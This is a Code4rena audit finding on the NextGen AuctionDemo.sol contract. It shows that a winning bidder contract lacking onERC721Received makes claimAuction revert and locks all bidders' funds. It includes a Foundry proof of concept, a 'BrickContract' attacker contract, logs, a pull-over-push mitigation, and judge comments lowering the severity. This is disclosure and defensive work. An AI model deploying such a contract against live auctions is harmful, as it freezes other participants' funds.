Auction can be bricked by a malicious user

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

The claimAuction() function in the AuctionDemo.sol contract can be bricked by malicious user resulting in all funds being locked in the AuctionDemo.sol contract. A malicious user can just create a simple contract and use it to win the bidding. He can wait for the last seconds and place a bid that is bigger than the previous with just one wei. The problem comes because within claimAuction() IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); . SafeTransferFrom checks if the highestBidder is a contract. If highestBidder is a contract in order to receive the NFT it has to implement the following function:

 function onERC721Received(
       address operator,  
       address from, 
       uint256 tokenId, 
       bytes calldata data
     ) external returns (bytes4){
        return IERC721Receiver.onERC721Received.selector;
    }

Simply creating a contract that doesn't have this function and winning the auction with said contract, will result in the claimAuction() reverting. I have chosen the High severity because all bidders will lose their funds, and additionally the protocol team has specified the following invariant: "The highest bidder will receive the token after an auction finishes, the owner of the token will receive the funds and all other participants will get refunded."

Proof of Concept

To run the POC first follow the steps in this link: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry in order to add foundry to the project.

Create a AuditorTests.t.sol file in the test folder and add the following to it:

pragma solidity 0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; 
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {BrickContract} from "./BrickContract.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

contract AuditorTests  is Test {
    DelegationManagementContract public delegationManagementContract;
    randomPool public rPool;
    NextGenAdmins public nextGenAdmins;
    NextGenCore public nextGenCore;
    NextGenMinterContract public nextGenMinterContract;
    NextGenRandomizerNXT public nextGenRandomizerNXT;
    BrickContract public brickContract;
    auctionDemo public aDemo;

    address public contractOwner = vm.addr(1);
    address public alice = vm.addr(2);
    address public bob = vm.addr(3);
    address public hacker = vm.addr(4);
    address public globalAdmin = vm.addr(5);
    address public collectionAdmin = vm.addr(6);
    address public functionAdmin = vm.addr(7);
    address public john = vm.addr(8);
    address public auctionNftOwner = vm.addr(9);
    address public tom = vm.addr(10);
    address public delAddress = address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B);
    bytes32 public merkleRoot = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;

    function setUp() public {
        vm.startPrank(contractOwner);
        /// INFO: Deploy contracts
        delegationManagementContract = new DelegationManagementContract();
        rPool = new randomPool();
        nextGenAdmins = new NextGenAdmins();
        nextGenCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(nextGenAdmins));
        nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins));
        nextGenRandomizerNXT = new NextGenRandomizerNXT(address(rPool), address(nextGenAdmins), address(nextGenCore));

        /// INFO: Set admins
        nextGenAdmins.registerAdmin(globalAdmin, true);
        nextGenAdmins.registerCollectionAdmin(1, collectionAdmin, true);
        nextGenAdmins.registerCollectionAdmin(2, collectionAdmin, true);
        vm.stopPrank();

        /// INFO: Set up collection in genCore
        vm.startPrank(globalAdmin);
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        nextGenCore.createCollection("Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript);
        nextGenCore.createCollection("Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript);
        nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT));
        nextGenCore.addRandomizer(2, address(nextGenRandomizerNXT));
        nextGenCore.addMinterContract(address(nextGenMinterContract));
        vm.stopPrank();

        /// INFO: Set up collection params in minter contract
        vm.startPrank(collectionAdmin);
        /// INFO: Set up collection 1
        nextGenCore.setCollectionData(1, collectionAdmin, 2, 10000, 1000);
        nextGenMinterContract.setCollectionCosts(
          1, // _collectionID
          1 ether, // _collectionMintCost 1 eth
          0, // _collectionEndMintCost 0.1 eth
          10, // _rate
          200, // _timePeriod
          3, // _salesOptions
          delAddress // delAddress
        );
        
        nextGenMinterContract.setCollectionPhases(
          1, // _collectionID
          201, // _allowlistStartTime
          400, // _allowlistEndTime
          401, // _publicStartTime
          2000, // _publicEndTime
          merkleRoot // _merkleRoot
        );

        /// INFO: Set up collection 2 playing the role of the burn collection
        nextGenCore.setCollectionData(2, collectionAdmin, 2, 10000, 1000);
        nextGenMinterContract.setCollectionCosts(
          2, // _collectionID
          1 ether, // _collectionMintCost 1 eth
          0, // _collectionEndMintCost 0.1 eth
          10, // _rate
          20, // _timePeriod
          3, // _salesOptions
          delAddress // delAddress
        );
        
        nextGenMinterContract.setCollectionPhases(
          2, // _collectionID
          21, // _allowlistStartTime
          100, // _allowlistEndTime
          200, // _publicStartTime
          500, // _publicEndTime
          merkleRoot // _merkleRoot
        );
        vm.stopPrank();

        /// INFO: intilialize burn
        vm.startPrank(globalAdmin);
        nextGenMinterContract.initializeBurn(2, 1, true);
        vm.stopPrank();

        /// INFO: Deploy AuctionDemo contract and approve contract to transfer NFTs
        vm.startPrank(auctionNftOwner);
        aDemo = new auctionDemo(address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins));
        nextGenCore.setApprovalForAll(address(aDemo), true);
        vm.stopPrank();
    }


    function test_BrickAuctionDemo() public {
        /// INFO: Set up Auction Demo contract
        skip(401);
        vm.startPrank(globalAdmin);
        string memory tokenData = "{'tdh': '100'}";
        nextGenMinterContract.mintAndAuction(auctionNftOwner, tokenData, 2, 1, 500);
        vm.stopPrank();

        /// INFO: Alice bids 5 ether
        vm.startPrank(alice);
        vm.deal(alice, 5 ether);
        aDemo.participateToAuction{value: 5 ether}(10_000_000_000);
        vm.stopPrank();
        
        /// INFO: Bob bids 6 ether
        vm.startPrank(bob);
        vm.deal(bob, 6 ether);
        aDemo.participateToAuction{value: 6 ether}(10000000000);
        vm.stopPrank();

        /// INFO: John bids 5 ether
        vm.startPrank(john);
        vm.deal(john, 7 ether);
        aDemo.participateToAuction{value: 7 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(hacker);
        vm.deal(hacker, 8 ether);
        brickContract = new BrickContract(address(aDemo));
        brickContract.bid{value: 7000000000000000001}(10000000000);
        skip(101);
        console.log("This is the brickContract address: ", address(brickContract));
        console.log("This is the highest bidder: ", aDemo.returnHighestBidder(10000000000));
        vm.expectRevert();
        aDemo.claimAuction(10000000000);
        console.log("AuctionDemo contract balance after all bids and claim: ", address(aDemo).balance);
        vm.stopPrank();

        vm.startPrank(alice);
        console.log("Alice balance: ", alice.balance);
        vm.expectRevert();
        aDemo.cancelBid(10000000000, 0);
        console.log("Alice balance: ", alice.balance);
        vm.stopPrank();
    }
}

Logs:
  This is the brickContract address:  0x060cc26038E69D73552679103271eCA6E37D4CE6
  This is the highest bidder:  0x060cc26038E69D73552679103271eCA6E37D4CE6
  AuctionDemo contract balance after all bids and claim:  25000000000000000001
  Alice balance:  0
  Alice balance:  0

Create a file named BrickContract.sol in the test folder and add the following to it:

pragma solidity 0.8.19;

import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

contract BrickContract {
    auctionDemo public aDemo;

    constructor(address _aDemo) {
        aDemo = auctionDemo(_aDemo);
    }

    function bid(uint256 _nftId) public payable {
        aDemo.participateToAuction{value: msg.value}(_nftId);
    }
}

To run the test use: forge test -vvv --mt test_BrickAuctionDemo

Tools Used

Foundry & Manual review

Recommended Mitigation Steps

Consider adding separate functions where the other bidders can withdraw the amount they have bid after the Auction is completed, as well as add such function for the NFT owner that put their NFT for an auction, so he can withdraw his earnings. Consider utilizing the Pull over Push pattern https://fravoll.github.io/solidity-patterns/pull_over_push.html

Assessed type

Token-Transfer

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #739

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)